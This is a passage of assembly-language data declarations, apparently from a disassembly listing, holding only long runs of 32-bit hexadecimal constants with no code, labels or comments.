		dd 0F95D52AEh, 3C848B4Eh, 2FE02C11h, 207E37F3h,	0C05BAFD5h
		dd 9C52A8F0h, 4B61225h,	169D1A16h, 96321DEEh, 6C46FB33h
		dd 2D38B6ADh, 425A18B8h, 733B159h, 0EA04D8F6h, 0D48D2F92h
		dd 0A22667E5h, 748A7BEh, 42120BF5h, 96A01D98h, 6AC70993h
		dd 2484523Eh, 5ADCFC10h, 6B896DFAh, 609E01D8h, 0A3C75D27h
		dd 531F7164h, 9D4B515Dh, 0BDD52221h, 2EC4CC23h,	0BC245B0Eh
		dd 0E517E8BCh, 2C9540D1h, 0C9B25207h, 0EDF28013h, 97CCC1AEh
		dd 0C5EE07F4h, 29AE2677h, 9C00FE36h, 0BD8C3FE9h, 20CA4E76h
		dd 610BE84Bh, 0C22B82F5h, 88532DC8h, 0F63D5BECh, 12CE3CDEh
		dd 0DBB107E9h, 500B679h, 9D8DE3F3h, 0C309BD55h,	390848h
		dd 137F7505h, 29E91564h, 0D0259099h, 3BF0BEEEh,	19265181h
		dd 4F1D4C60h, 8AA052D4h, 0A997055Dh, 2626002Dh,	0B73D7E5Bh
		dd 0E8D153E0h, 48BE2D04h, 8FF851D9h, 3320BB48h,	4977D295h
		dd 5B35054Eh, 0EB95B4F0h, 654C080Bh, 990C0BD9h,	6A8056C0h
		dd 55DB2B9Ah, 0E9171ABEh, 4284E4E2h, 0E72947F0h, 8EFAF07Fh
		dd 65D73B00h, 955042BEh, 1C8995A0h, 7B71EE55h, 837DDDFDh
		dd 3D261FE7h, 0BCEC2340h, 0FC036A92h, 0BB473752h, 0B80B5BF8h
		dd 5B7A2EA2h, 0CD8247A6h, 570B1560h, 1EAE9880h,	0FC25792h
		dd 60877E67h, 97CF2EDFh, 0B240187Eh, 70C3808Dh,	0CAD348CEh
		dd 0C097B875h, 0B450A80Ah, 6E4E962h, 90588CC9h,	0BC01680Fh
		dd 0B5AA3FE4h, 24409CDCh, 48575A19h, 952D2E63h,	2289A279h
		dd 0C44579Ah, 644ABB0Bh
		dd 0EBDA80C2h, 4C2214A5h, 0B043360h, 0BE474C0Dh, 12A2B388h
		dd 0F8D1798Ah, 3E7C0B24h, 4DA8774Ch, 50CD2008h,	6A28EFDh
		dd 293D253Ah, 0B25BCC5h, 80BED167h, 0E7C5AC0h, 5F4CFD29h
		dd 19C51236h, 0D8D66E49h, 3A6F007Ah, 0F289BCA4h, 9A4AC9E9h
		dd 0F724F4h, 107A172Eh,	7067212Dh, 2CC4595Bh, 0CDBE0713h
		dd 9AFF9249h, 540A6E0h,	7B499135h, 8285BA0Eh, 7FF99DAFh
		dd 25E9733Ch, 489B941Ch, 1D203798h, 0E1970598h,	0AC2E5B08h
		dd 0A84DC4F8h, 0B8B80B13h, 0DE170CD7h, 2FE5FABEh, 5C5E2937h
		dd 1C800820h, 0DA82A48Eh, 3EA07CC4h, 59931E01h,	80DEAFC7h
		dd 9E37E90Ch, 12EED527h, 5E13389Ch, 0FD2FFFCDh,	89EB125Eh
		dd 4E33DAAAh, 0E9124CB7h, 6034BF6Ah, 19CCB281h,	63DEEB05h
		dd 0ECC15F7Dh, 39E9B092h, 0F279C096h, 83CC4723h, 3D64FAF6h
		dd 0E4B4EA77h, 0AE8D9555h, 5C9D7A80h, 0C00E5EF4h, 3AEBEA49h
		dd 584E5A88h, 0AC1B89E6h, 6EAB3E96h, 428FFB0Bh,	0A1970438h
		dd 634C6802h, 547EB346h, 99B4B62Fh, 57E28D6Eh, 5C0B2B5Ah
		dd 4F1F766h, 82A3D337h,	0A57FAD5Eh, 58EA2CAEh, 0B225E0C4h
		dd 1EC28001h, 9F08B959h, 4389D788h, 0C276F617h,	3344BC90h
		dd 0B4AAB3Ch, 85C801E5h, 0D7EBC728h, 0E9C29EBDh, 2D468F36h
		dd 2D685202h, 0F011BB50h, 20710B38h, 0B1823977h, 0FE80D2F7h
		dd 0B0885F7Dh, 890BF796h, 0C11657D6h, 64D5EF06h, 3C0C3354h
		dd 4D0D300Dh, 86F701h, 7851E908h, 45F730B7h, 0C1E6BC09h
		dd 3C0E8E9h, 0C8AB4A5Ch, 820B0513h, 63BE118h, 80F65505h
		dd 6F35E909h, 7E4226D2h, 0E9E0B20Dh, 48950825h,	82100704h
		dd 20E8D05Fh, 5B27F96Dh, 88F50A4Bh, 5F247419h, 570B612Fh
		dd 5E2CA588h, 0D1F15337h, 0BB269F7Fh, 2A54AB85h, 4CF0A1C4h
		dd 34400ABDh, 27A12465h, 0F2007E96h, 807A1FA2h,	828FD7E9h
		dd 2559E657h, 0A1849B7h, 0EC261E63h, 0A103CE37h, 1093CCCDh
		dd 2F92D5DEh, 4AD75C5Dh, 0EC3063Eh, 0F3076A90h,	16173982h
		dd 31CD616Fh, 0F688255Fh, 5E2D1A59h, 0E7F12F58h, 505DE942h
		dd 35685CAFh, 7A99705Ch, 8B0B3EA8h, 0DAA68756h,	0D887753Bh
		dd 0F393BFE7h, 0EA6816D7h, 27C07054h, 0B9D04B5Ch, 0EC3AB38Bh
		dd 5A54C556h, 40419BABh, 4517C1FEh, 92EE7EEAh, 78F15F12h
		dd 5C0D68C1h, 0B3E92451h, 0DA598BA4h, 2D39025Fh, 0C1D50BE0h
		dd 4BE8DFF9h, 0E8BDCA4Eh, 221EB2h, 0CB811FB5h, 0B0203C83h
		dd 645E0209h, 72E97B3Eh, 0B47D5BD0h, 4840F7EEh,	92F9FA50h
		dd 5F539F5Bh, 752696BEh, 2C68699Ch, 0C14562F3h,	38342E5Fh
		dd 0D5E357Fh, 2620E2BBh, 0BA8156A2h, 221F0EFCh,	0E2AD806Ah
		dd 4E3B6561h, 90C20571h, 0B7C15E11h, 76320345h,	47680205h
		dd 38D9444Dh, 1EE165Dh,	0BC432223h, 302C2019h, 0D94DFF04h
		dd 0F4BC2CE9h, 0CCC4CF5Ch, 0F188024Bh, 93BFA7FFh, 0AB792748h
		dd 0B90FCA4Fh, 6A656885h, 0F67964FBh, 0D75B7FFAh, 2E608D8Fh
		dd 68DFBA52h, 0E679DB31h, 86F99725h, 0C1AEE820h, 89535A2Eh
		dd 24DDC9F3h, 0DE41DB5Ch, 0E25D902Eh, 12322BF1h, 0EC4D9055h
		dd 0FAEF5867h, 0C701EC4Ch, 0F823F9F5h, 92E02A31h, 4B639AADh
		dd 9763A25Bh, 42EB69ABh, 8CD162B5h, 908E579Bh, 342A2B9h
		dd 0F181304Fh, 79E2605Eh, 95B244F5h, 0E6A4BE5Ch, 6E78D502h
		dd 0F264602Bh, 19B2FCFCh, 52525172h, 0BA05C0h, 0D2B9D8CEh
		dd 0D94E29BCh, 0DFEF3F95h, 0D0E91349h, 140E10BEh, 2CAFE9B1h
		dd 0B6826E3h, 9FD1252Dh, 63037F5h, 535F8028h, 4AF24D7h
		dd 80F387F1h, 0E6553329h, 0D716809Fh, 9026020Dh, 0E3DD62DAh
		dd 8975BCEEh, 0C5756B8h, 5B718FC5h, 1EE37E4Eh, 6EC0751h
		dd 0C8D39F65h, 0BD2B349h, 0A80B0F5Ch, 28DE3306h, 90D70882h
		dd 955F8921h, 426915FCh, 60E9A427h, 6B41BD0Fh, 883126CCh
		dd 301792F2h, 545C40D4h, 0D1895F12h, 71CFD80Bh,	0CE8100E7h
		dd 49071856h, 5901F6ECh, 0E92FEC11h, 0AF24A8FFh, 0A6770505h
		dd 0EEC62927h, 547928E3h, 0B2F185BDh, 6DD39F7Eh, 6EB5D4C4h
		dd 0DFAA2230h, 779A0383h, 0BDD97FB1h, 0D4E15127h, 4F830484h
		dd 104B468h, 0B4E882C2h, 0AED34307h, 0FE0C1F72h, 0C01E53CCh
		dd 5A0DBE57h, 0C1160E09h, 35E76EEh, 3B914E26h, 5A98FC33h
		dd 0BDE1E05Dh, 3F070C21h, 0D905D1F7h, 0E9F4C17Ch, 0DC100D26h
		dd 9D705051h, 934264B4h, 0FB34C8CEh, 1801240h, 516607CBh
		dd 0DE3018B1h, 0DCE338FDh, 0E520255Bh, 80785846h, 0CDFEEF17h
		dd 8805FCCAh, 0BED6F6EEh, 0DAE93507h, 0F28A46BBh, 55B859C8h
		dd 0E948E74Dh, 767BCB2Fh, 0FC561000h, 3ECF8118h, 6C0B7A49h
		dd 82F8ACE9h, 8C46BA05h, 81EA88D0h, 2AFDA567h, 306FF84Eh
		dd 4F1CEE41h, 28F624E9h, 3B35406Eh, 0F8953FF2h,	0EB89294Fh
		dd 533C1A90h, 7E49157Eh, 734505C0h, 0BE828489h,	8028684h
		dd 6A5696E9h, 0E782F7DDh, 465F9274h, 1BE525EDh,	0F85D9612h
		dd 9CB778F6h, 0C0584241h, 0B450E780h, 0EC1E80DFh, 4B7E2845h
		dd 301748A8h, 4291EFF8h, 2A30E2C1h, 458F632Bh, 99C101EAh
		dd 0D4B138C3h, 8A9719BEh, 0E53FBB14h, 0F3E12FCAh, 12B2023Fh
		dd 407D74AFh, 21E54122h, 11370137h, 75BB4AC2h, 0DF669D2Fh
		dd 0EB2C85A6h, 0A801EA05h, 8941638Ah, 7365416Eh, 20375C52h
		dd 54191EECh, 7B47678h,	1D75A540h, 8A3E4C4Bh, 5C015DC6h
		dd 9DA2DD20h, 965CDF40h, 2722C49Fh, 95D65456h, 0A66557C9h
		dd 0B073E984h, 0A3C7ADAAh, 38FF958Bh, 2585EAE5h, 0FECFA77Ch
		dd 8209B497h, 4095096h,	0EF4A8BBFh, 0FE00EA4Eh,	271A65D7h
		dd 39492EE9h, 8DC40CBh,	54F61699h, 0EE5C704Eh, 7802DE95h
		dd 0CEBD5502h, 774F363Eh, 9AFE7CC2h, 9DCD8100h,	9862871Ch
		dd 0AF21671Fh, 2F7F82C9h, 0BD06D2C0h, 1EAF5CEh,	0C135F10Ah
		dd 0FE5102D8h, 9995590Ch, 8E6CAE07h, 0E177A50Fh, 5FD926DBh
		dd 0DDC657EAh, 30BF0D08h, 0F541B798h, 87767F41h, 0B0700CA7h
		dd 245DA64Ch, 5B6480F6h, 4F9BF7ABh, 3B140EACh, 0AE1623A2h
		dd 0DECDD387h, 86090670h, 83D2F6D3h, 93D58852h,	0E9D2A7DAh
		dd 0FCA7EDEh, 5BE31B2Ch, 33B3D828h, 146815C0h, 0D0FC3548h
		dd 1E908F3h, 0B45F12ABh, 0EBB8C544h, 8BC40825h,	9FAB66E5h
		dd 0F72525D6h, 0E92C0B16h, 6887BB70h, 0DD0B61CFh, 0E9852695h
		dd 28EF1A98h, 5F95D3ADh, 41863F16h, 72B8F6B7h, 193B79A2h
		dd 5035C657h, 82C8CC58h, 0E2932157h, 0BC41D22Bh, 5203AC45h
		dd 0F65514F2h, 35D35925h, 7CA12F83h, 0A6A5F904h, 7AB1FC7Bh
		dd 217D8724h, 0A7785F52h, 0CB8645BFh, 0A0011477h, 649AE97h
		dd 75E97D53h, 5097F3CDh, 40145EBBh, 5507F1C3h, 415C21B9h
		dd 0DEED6C76h, 0EC418Ah, 99241699h, 0F263158h, 76713492h
		dd 2BAF0409h, 0C4820D87h, 0C755433Eh, 192A858h,	0C6C8A2Fh
		dd 0C25A5942h, 0C21C201Fh, 0E4030DCBh, 0BFDA4829h, 0B75B0840h
		dd 0D76916D1h, 2B7EC08Dh, 0A4F53ACCh, 26DC20E5h, 19EE2176h
		dd 79B77BB2h, 5355E9F1h, 0B8688447h, 0ACEAB2Fh,	47D7EE02h
		dd 28757FC5h, 0DE2F08ADh, 9CA514FBh, 3D196580h,	0C70BBE69h
		dd 0DC769031h, 71E9048Dh, 66A49716h, 6DB65D53h,	42D53830h
		dd 0E10EBFFAh, 12B45EA3h, 661EF7B0h, 0E6E05C65h, 0D8307B91h
		dd 89DD7ACh, 58014D95h,	52FC8850h, 0D1D4E2CDh, 9D5BF45Ah
		dd 838E8365h, 0DDFA1778h, 766EF450h, 0F618B2B5h, 9246A02h
		dd 6FF2C6A2h, 269C7203h
		dd 2DE29FEh, 5020E66Ah,	91833692h, 0ECB4523h, 6AC10C04h
		dd 0B3FFF097h, 4EEDD761h, 6BEDB22Ch, 9495080Eh,	1A500748h
		dd 7EEDE040h, 84D94F1Bh, 5B88ABBBh, 479B4065h, 229AC1B0h
		dd 0EB3EF997h, 92D55232h, 99FDC06Fh, 9E05805Bh,	0FAA7603Fh
		dd 7AC6D20h, 501F642Dh,	3C10F023h, 5AFE2696h, 0A24F8B4Ch
		dd 0B2D70929h, 33B0D581h, 5981DAD8h, 0B0C2E260h, 9BD55062h
		dd 0F5872C41h, 563F3D6Eh, 0EA7D5EBBh, 8EBF25E9h, 0F52582F9h
		dd 53F1AB91h, 0B9B14287h, 0D0AF8269h, 0F031EE63h, 0FD07826Ch
		dd 784A9764h, 19A250A8h, 807F0310h, 7E05F8BBh, 0DEBA50F0h
		dd 56C68AC2h, 17CC22A8h, 0F4263EE9h, 711EA873h,	0D0D77B34h
		dd 0A3AB36C5h, 0B05A276Dh, 80585542h, 0F869A9E9h, 0C8CB8270h
		dd 3EFDA85h, 88E4043h, 0A399A725h, 94F22E47h, 8AAC4Fh
		dd 680B0548h, 9531449Dh, 0E9CFA6E0h, 0A29D85E8h, 99215F7h
		dd 5E55C312h, 45F77266h, 2B14274Ah, 55A7389Eh, 6C5F173Ah
		dd 94C22BB5h, 61DE272Ah, 0A676D903h, 0B764B63Eh, 478C3B6Fh
		dd 16B3364Fh, 0BFD6E83Ah, 35D6B118h, 5F7497BCh,	0AE006DACh
		dd 4173A614h, 0DB681849h, 0B5D58D22h, 0BFEC7197h, 0AE122E25h
		dd 0A6C28254h, 8B4F56A3h, 0E4F6EE4Dh, 0A5BAA25Ah, 0EE66058Ch
		dd 41E68B8Ch, 557EE7Dh,	0C6EB3DACh, 0C2401066h,	130B5AE9h
		dd 71CFBA01h, 0EFF2E909h, 0D2621175h, 52F9847Bh, 0B450ACB8h
		dd 6A89E8F9h, 0C62D3EF6h, 1CD225B8h, 198BC755h,	2159B78Bh
		dd 0C2F5B6h, 6341DBFh, 0EFC124B5h, 75B0608h, 0A50577ADh
		dd 80722A88h, 0BE565FDFh, 0F2B39C00h, 0E9F131C0h, 559FAA66h
		dd 6F96195Ch, 2C1991FBh, 4DAD9B1Ah, 2448D37Dh, 1734510Bh
		dd 0F6A1A4A2h, 89FAF3F8h, 0E05BDD48h, 264AABE9h, 34590C66h
		dd 0F108408Ah, 33685D5Eh, 5C31305Bh, 9FB2EBE7h,	33D0766Eh
		dd 14005E98h, 0F6812E0Fh, 5027355Ah, 0DDAE33h, 9074F37h
		dd 4B69E9FEh, 0DA97FEA4h, 6A3521CDh, 0F67CE289h, 0D030E24Bh
		dd 505EA5F5h, 77DE8082h, 6BA07C66h, 1295C27Ah, 634E800Ch
		dd 0A004DD69h, 0C0CACBCDh, 5ACCBA1Eh, 0DABD7A9Dh, 134FE624h
		dd 16A8319h, 235316A7h,	48F5F068h, 6BDFCAEDh, 0C9CC05E2h
		dd 807D184Eh, 0D91CFDB3h, 0C502F976h, 3CE60E36h, 20E87429h
		dd 0EC5F5B08h, 0CDAC5AF4h, 0DE0667D4h, 0B830892Fh, 51154A2Fh
		dd 0B9F0C925h, 98A65220h, 0DC032534h, 5C0380F9h, 0F505158h
		dd 2F1AA29Ah, 0BFE7D125h, 96E94330h, 0E634D080h, 0CF57832Eh
		dd 0AAD24BC5h, 0F8528541h, 82EFFBF6h, 63580D39h, 5FFA139Bh
		dd 8CB64E3h, 3E7C0019h,	3D7E71DDh, 2AD86E40h, 7846432Eh
		dd 0C3553232h, 216D7E37h, 0CCE9622Ah, 1B0EA5F1h, 0FA61695Eh
		dd 610882AAh, 0CB9D7B38h, 9B18C9C3h, 0ABA061FAh, 0B8D7B8F6h
		dd 0B44F9EE8h, 595FEA0Ah, 0C3DD2CBh, 0C93A9341h, 90D238C2h
		dd 0B47B8182h, 66742F53h, 27E3EFC5h, 9CA4542Dh,	36E3FF63h
		dd 3527295Bh, 0E6F62FBFh, 376409D3h, 25C5B39Bh,	6F0FBBDDh
		dd 0DA6B0E8Ah, 590B7EFEh, 4349FEDAh, 10F3BD0Bh,	57138001h
		dd 4F79ED68h, 0A584BAEh, 0EE5E0624h, 173F454h, 31540D77h
		dd 0C03ED029h, 328805E8h, 242DF0F1h, 78C6181Dh,	9F42DA67h
		dd 526028D9h, 0AB285B68h, 47120550h, 807E9C04h,	7221E259h
		dd 213F33Bh, 3F4CE6CAh,	8F10572Ch, 68275B54h, 0A882F97Fh
		dd 2F790F67h, 30C44C05h, 3DDCA317h, 5932EE2h, 0F759CF01h
		dd 43A51D7h, 0F4C24705h, 554C50B7h, 899C7A7Bh, 7A100026h
		dd 9F414853h, 535C2C7Fh, 80C55EBDh, 5B4EF181h, 3BB81B79h
		dd 2D6AD395h, 81800553h, 7058DDE7h, 0AD29866h, 147303A6h
		dd 0B9D09C3h, 6E85A7E8h, 7EF2CB51h, 8135D84h, 8D200D99h
		dd 0A3111799h, 28A341Dh, 3BB652CFh, 0A0918FDFh,	4B7A4C5Eh
		dd 5CA21405h, 0C227D2A5h, 0E989D8F6h, 9DEFD8F0h, 5C71087Eh
		dd 93CF86Fh, 5E955AE9h,	0C256E76Eh, 45D7357Eh, 0C2050935h
		dd 5DC9BAFDh, 73549C48h, 8977C62Fh, 6A0F608Fh, 31602539h
		dd 68758755h, 0E90EB790h, 9775BA1Ah, 0B6CF915Eh, 5BC4C0BAh
		dd 251EC505h, 0A3C97E54h, 1870734Ah, 0F1051331h, 3868DA1Eh
		dd 5DC2FF89h, 0B2883D3h, 4B0CF125h, 0A4AC052Ah,	16A0B3Fh
		dd 1C1ACDCEh, 0AF5E2023h, 77F96617h, 5C3CF7B4h,	1FDE52FAh
		dd 0F9E8AD4Eh, 0D000F708h, 55293935h, 90C689D3h, 0A4165A3Bh
		dd 0C141CE32h, 3412816Bh, 58C2C0E7h, 0A4EC8007h, 0C457D428h
		dd 0B1515A50h, 74709D90h, 0E6885202h, 0D2F272E9h, 95EF0465h
		dd 0F8890331h, 1FF11838h, 510D1FDh, 0E8011287h,	0FD07102Dh
		dd 0BDD2A84Bh, 11D32869h, 9863A2E2h, 0B6F83CB9h, 57950192h
		dd 5077C14h, 55536478h,	6841A050h, 252D0426h, 0B1580716h
		dd 0CA070755h, 981BA011h, 0E9C70BC4h, 7C4B0D1Dh, 34EEE4h
		dd 0A148FCABh, 0A32E8406h, 655F0614h, 2C2820h, 45B60908h
		dd 7BAEEE81h, 9A524F2Dh, 8B268431h, 20430913h, 2960BE87h
		dd 30096151h, 0D801CB3Eh, 0B539DC61h, 102955E0h, 0F6F23F2Fh
		dd 0A03E9382h, 0B502BE39h, 314C4950h, 7EE57DDEh, 65F32FBEh
		dd 50FCAD1Dh, 18A24C3Fh, 740C1311h, 8E321DD5h, 72836DE9h
		dd 0F081DBB6h, 5206995Ah, 5DE22810h, 7AEB7D5Eh,	599B25CAh
		dd 58B8D664h, 0DEDC3BFFh, 47519F2Ch, 99BE02E4h,	4EA56D18h
		dd 985B37FBh, 0EFFA87D0h, 607D731h, 4F2B419Dh, 26F0A43Fh
		dd 0D861ABB8h, 44F95893h, 0AC5EE468h, 0F65EA22Bh, 9DFD693Eh
		dd 9CD7AD61h, 146BDBDh,	5E5744A2h, 99637213h, 9F212212h
		dd 53458F30h, 481D4CFCh, 5EB75020h, 0AD960340h,	90EA3CE8h
		dd 0D327B754h, 10D6E935h, 2D545B5Ah, 51572BC2h,	56206ED6h
		dd 4CBB6855h, 0B4AC42Ch, 3B64F501h, 907F1A20h, 77DBF69Ah
		dd 0E950E406h, 4C459022h, 0B925C9F1h, 0B437712h, 89703AD1h
		dd 6876E47Dh, 2F4B0F5Eh, 84E9647Bh, 3031ECA5h, 8062E92Fh
		dd 50F6BBF9h, 5EC09759h, 0D92F0B71h, 29035F75h,	2606CBA4h
		dd 527BB0BFh, 0B3EF0698h, 0C224743h, 4941EA07h,	2CB8338h
		dd 64154CE6h, 9E5B6BCh,	0F594E694h, 0AD5E89F6h,	0BFE09089h
		dd 9FCAA4B3h, 1407558h,	1C773C21h, 81AF7A15h, 2F2EFC4Fh
		dd 5D108A3Bh, 43DED31Ch, 1F8F395h, 1FAF41BDh, 0E1EF893Dh
		dd 80004FF9h, 0AE9F11C3h, 775AA9DDh, 5447FA31h,	5854FC9Dh
		dd 6A7B0076h, 0DFF76555h, 0B36025E9h, 0EA1D38FFh, 6EFB317Bh
		dd 3A70E936h, 55B91209h, 0D548F02Bh, 0D8262EA4h, 0EE027D0Eh
		dd 49207B3Ch, 0D28B0896h, 0AD5268EBh, 4543CE05h, 2CAA5A10h
		dd 31403A59h, 5C80129h,	10714682h, 0D0D82B59h, 5F0239F6h
		dd 3A840500h, 0F029280Dh, 40E3E925h, 4E12688Eh,	0C64B3208h
		dd 27D52C4Ah, 9A190D4Ch, 9979D44Dh, 4C5C375Dh, 0A960B14Bh
		dd 291C8D59h, 42A904Bh,	27220DE3h, 0B1308005h, 0F25FA8D0h
		dd 0C7BE6D85h, 5FF930EEh, 5950CE09h, 66BFC0A0h,	0D22B76Eh
		dd 0D1FFCAFFh, 0C0A91356h, 0D3885363h, 17607FE5h, 0C4255568h
		dd 1E98F299h, 162CCBC1h, 0A7DBE828h, 2D9050D3h,	12FD06B3h
		dd 4704F198h, 352B6568h, 0AC9A8096h, 785EA12Fh,	404E8B82h
		dd 244F52D9h, 2F46639Ch, 0DE712FE2h, 58074C4Ch,	0A486794h
		dd 0F168BB97h, 488269FFh, 0C69F3955h, 0B2B27D0Ch, 0B0D8F73Bh
		dd 8143CD61h, 2F200ACBh, 3BC5038Ch, 0AC34289h, 4A4C8780h
		dd 495814F8h, 0B7F20028h
		dd 32E9EDC7h, 534CCFD3h, 6B70CB2Bh, 0BD9EC0B7h,	0B8C77630h
		dd 9701E88Bh, 0E9339EC8h, 74BFF832h, 92D5C04Dh,	6C1F265Eh
		dd 0E487016Bh, 4431CA7Eh, 0A78880F6h, 29023B74h, 2DD20305h
		dd 9B665D34h, 9CF4BB2Ah, 5DB0C104h, 0C0BE0210h,	253C682Bh
		dd 8F8F1897h, 89D99EB6h, 97DC5CE7h, 0C16BC485h,	1C002EFCh
		dd 0E9136E4Fh, 5BC0F19Ch, 523480EEh, 28F2902Ch,	0F88B15D2h
		dd 28743FCFh, 0D1D27732h, 39315177h, 23F99D70h,	2036BAC0h
		dd 0E90C1241h, 54EC033h, 0EE2E5683h, 531FF74Ah,	0E9A08456h
		dd 0D8594E54h, 0B64BAF80h, 3029B124h, 97773043h, 306BE2E0h
		dd 0F76E171Bh, 4C0392DAh, 85BC67F6h, 7D575255h,	539CB501h
		dd 0D06F7B5Fh, 0A8E9D157h, 0E394194Ah, 6B463580h, 42D76E3h
		dd 0BD5FD1C3h, 65CFFE72h, 0D445C864h, 0A89BAB92h, 0E9878C4Eh
		dd 0FDA4DF25h, 93567F27h, 51027506h, 6C68E389h,	1E547165h
		dd 3B7C4150h, 3B5811A0h, 4B358DCDh, 9750E970h, 7B98C8A7h
		dd 79ACBD9h, 90FA5DA3h,	12735B34h, 8FC9F3EEh, 5442397Dh
		dd 0A554BC3Eh, 23FF3EAh, 0A6685854h, 0C1D19B5Bh, 0E7511283h
		dd 480640CBh, 0CDF85605h, 2CEA092Ch, 0BD0555ABh, 47A93828h
		dd 0E00407AEh, 9C403B36h, 6A2F2992h, 48BA7E58h,	579802E9h
		dd 5C4137CCh, 2D4FF02Eh, 0CB78E93Eh, 48CE1FD0h,	0AC284CE0h
		dd 755EF513h, 0AAA6BFA4h, 0C840AE5Fh, 5A5EF329h, 7AF63D2Dh
		dd 0D8017585h, 0F071205h, 60E1C8D7h, 3017505Fh,	786B93D6h
		dd 0F784003Ch, 5E5AA828h, 2D42F9DBh, 52C182A2h,	539AD768h
		dd 0F7EE0857h, 0B3FE5345h, 0BE79A179h, 0B2E0772Bh, 98DF2299h
		dd 84726311h, 165F7D01h, 4F1A6802h, 58C4DC68h, 904B1FBFh
		dd 229B465Ah, 7A277366h, 42287970h, 28E8B729h, 522454C5h
		dd 331333B6h, 0FD2FBCB1h, 19E9F0FCh, 1C5FB123h,	5BFA80C7h
		dd 59EA3058h, 0E06053B8h, 69E96E06h, 0A8B965h, 7F3D3506h
		dd 2D005960h, 0EC3516Bh, 3B66C281h, 0AB5FDB45h,	4F080810h
		dd 12FAC4D9h, 7CFEDC1h,	6CEE86C9h, 4290D06h, 0D56AC075h
		dd 9FC33AADh, 0FC32AAE9h, 888A6005h, 28EF8BD1h,	4A30BCEFh
		dd 0E99A43E1h, 7D5A9CBEh, 0A118A7FCh, 0D6C73BB0h, 2C48797Ch
		dd 0D7DC2FECh, 9B404F12h, 0B62C3747h, 3D9CB77Eh, 0D5422A49h
		dd 896B1698h, 0B580D582h, 1D9B5FC2h, 1A410D04h,	9D817C55h
		dd 5DC90872h, 2B9A7080h, 0F829128Eh, 807DC5BDh,	0FE40DD0h
		dd 0C2A8371Ah, 0B212162Dh, 0E5EBB167h, 93D82E3Dh, 9345BF0Ah
		dd 54105F27h, 36F3F368h, 2EDC0920h, 35B0D51Ch, 6C2DE94Ah
		dd 686B98C0h, 0F3724E88h, 12809116h, 62FEAE85h,	0A5D8966Eh
		dd 9B4B682Fh, 7C3C043h,	5E6125CEh, 413B6930h, 0E91F4805h
		dd 0AB8879B2h, 0EB101E2Dh, 2FEFDF32h, 0C3C7920h, 0D4984C29h
		dd 747C0D03h, 51E3C106h, 4260E406h, 69761D35h, 0FDF38352h
		dd 0AA13791Ah, 9DFECD71h, 0AFFDBF44h, 0BD7DC097h, 11170007h
		dd 46C7BE5Fh, 0E1B0C561h, 0B17C710Bh, 0A0D2FE6Bh, 0F8EB8308h
		dd 95502FBCh, 76D47B00h, 59F0911h, 810EA83h, 0E95E823Ch
		dd 274A7E7Fh, 4C7E2000h, 41F87B5Dh, 59268B95h, 0E2E9C1FEh
		dd 0E387528Fh, 77EFD80h, 1B02BA52h, 9573549h, 58B8DED3h
		dd 271664C3h, 16E4FD1Dh, 892D4059h, 0E3D135A3h,	8DB10161h
		dd 9D8E1CDCh, 68047A47h, 68EB393Fh, 142FE920h, 68871032h
		dd 0CC454FABh, 5073C285h, 0E716D475h, 88ABDEE9h, 7495014Ch
		dd 0B7D189F2h, 3660C4DDh, 10D3A931h, 8B76DF0Fh,	5A59F67h
		dd 9DEA5C99h, 7E0CF9C6h, 0B7B98214h, 2ABDED60h,	84375844h
		dd 767B147Eh, 0A55ACA57h, 520CAD0Eh, 0D9E92E1Ah, 0FD8889D5h
		dd 83F661D2h, 913BCB4h,	0D42367EEh, 3FDCEC94h, 0C3542468h
		dd 51579EC2h, 794AA0D4h, 845ABD58h, 0E83AF195h,	0C5A8092Fh
		dd 0D3CAC9D7h, 8816052Ah, 0C536A2FCh, 269138E9h, 0F321D830h
		dd 0E601247Eh, 58C50B1Eh, 9549E457h, 0E9130C58h, 555A48C1h
		dd 625C79C4h, 65C103EEh, 0E0BA027Ch, 903644C2h,	3DDA0286h
		dd 0D701C2F1h, 12F5A584h, 6CA829F1h, 4BEE0186h,	0E918CB32h
		dd 0D609F256h, 0F2183CCAh, 21A75746h, 0B0397A26h, 1874893Ah
		dd 2460F754h, 2A037CE7h, 0AEE90D9Dh, 0A3AE84ACh, 5BF95872h
		dd 0BBEF16FEh, 1F518D28h, 162C1AB9h, 0FB4EFB69h, 0EAAB598Eh
		dd 205F56Ah, 66772CFAh,	0FCFA2C89h, 8F27BF34h, 4CF7FAC2h
		dd 98B03F1Dh, 0FD0E4D13h, 30317D23h, 563532F7h,	40000262h
		dd 59997D2Dh, 0C77F2997h, 5F8A3026h, 25D24452h,	0D6C62532h
		dd 10AB4C25h, 0E1020581h, 17C88E7Eh, 0A6B08DE9h, 0C39D3C61h
		dd 0B19D2034h, 0C20A5CCAh, 6266C2A0h, 9ED12980h, 0B8A6BD18h
		dd 0C9688B4Bh, 40851AF5h, 2551A84Dh, 0E8773107h, 383921B0h
		dd 689753CDh, 398CAAE3h, 0B76412F4h, 37BB012Ah,	3A396AEEh
		dd 34E969F0h, 0FF2CA2E1h, 10E5A1D3h, 62B1DF92h,	7B30222h
		dd 0A0FEC254h, 0EE1B665Dh, 686991Eh, 164B746Ch,	66BB4D60h
		dd 4C54685Bh, 0B3C15B6Fh, 0F4D9307Fh, 970BB551h, 844BCD80h
		dd 0D1FC13C4h, 0B4587912h, 0C16BD42Bh, 0FE0F774Ah, 0FA76DCC4h
		dd 3BF5752Dh, 0EF813780h, 1A687EE5h, 0E2CF0132h, 72FADEB2h
		dd 0ED45B15Dh, 5E4DB82Eh, 0A61966A8h, 3A557C70h, 0CEF0168Dh
		dd 0BD51CE45h, 10D44823h, 52A55603h, 884D21EDh,	0C1DB16E9h
		dd 3499BD3Fh, 0E5456128h, 2BA0023h, 5032256Eh, 82D58FB2h
		dd 55AFC11Ch, 8CAE25Ch,	591D242Eh, 0F79C3989h, 0B82D16ECh
		dd 4454B201h, 0A11A24A5h, 9E25B9Dh, 3927DB54h, 166B36D5h
		dd 0A773FB66h, 0D2211087h, 92EC4A9Eh, 0ED20EEE5h, 0C9A37DE9h
		dd 0A3555B2Ah, 1658C75Bh, 0B96CBBC2h, 0D7D12FE1h, 70EB900h
		dd 56DD2FEDh, 38DA927Bh, 546405ABh, 4A28EE83h, 0A4E24FA6h
		dd 3F2C7DA8h, 3B095C8Dh, 822074AAh, 1F42469Bh, 0AF973461h
		dd 73B0620Dh, 0EA990DC1h, 0C7F13ED5h, 50190F3Eh, 68E062A9h
		dd 59170131h, 0E20B5658h, 0F83E5F41h, 82BCEEECh, 0C0BF115Ah
		dd 8751522Ch, 0B5A052DCh, 578B9A59h, 0FAC557C2h, 33E9D7AEh
		dd 26180329h, 290EFE4Ah, 88184B6h, 5C879258h, 0AEF1AC17h
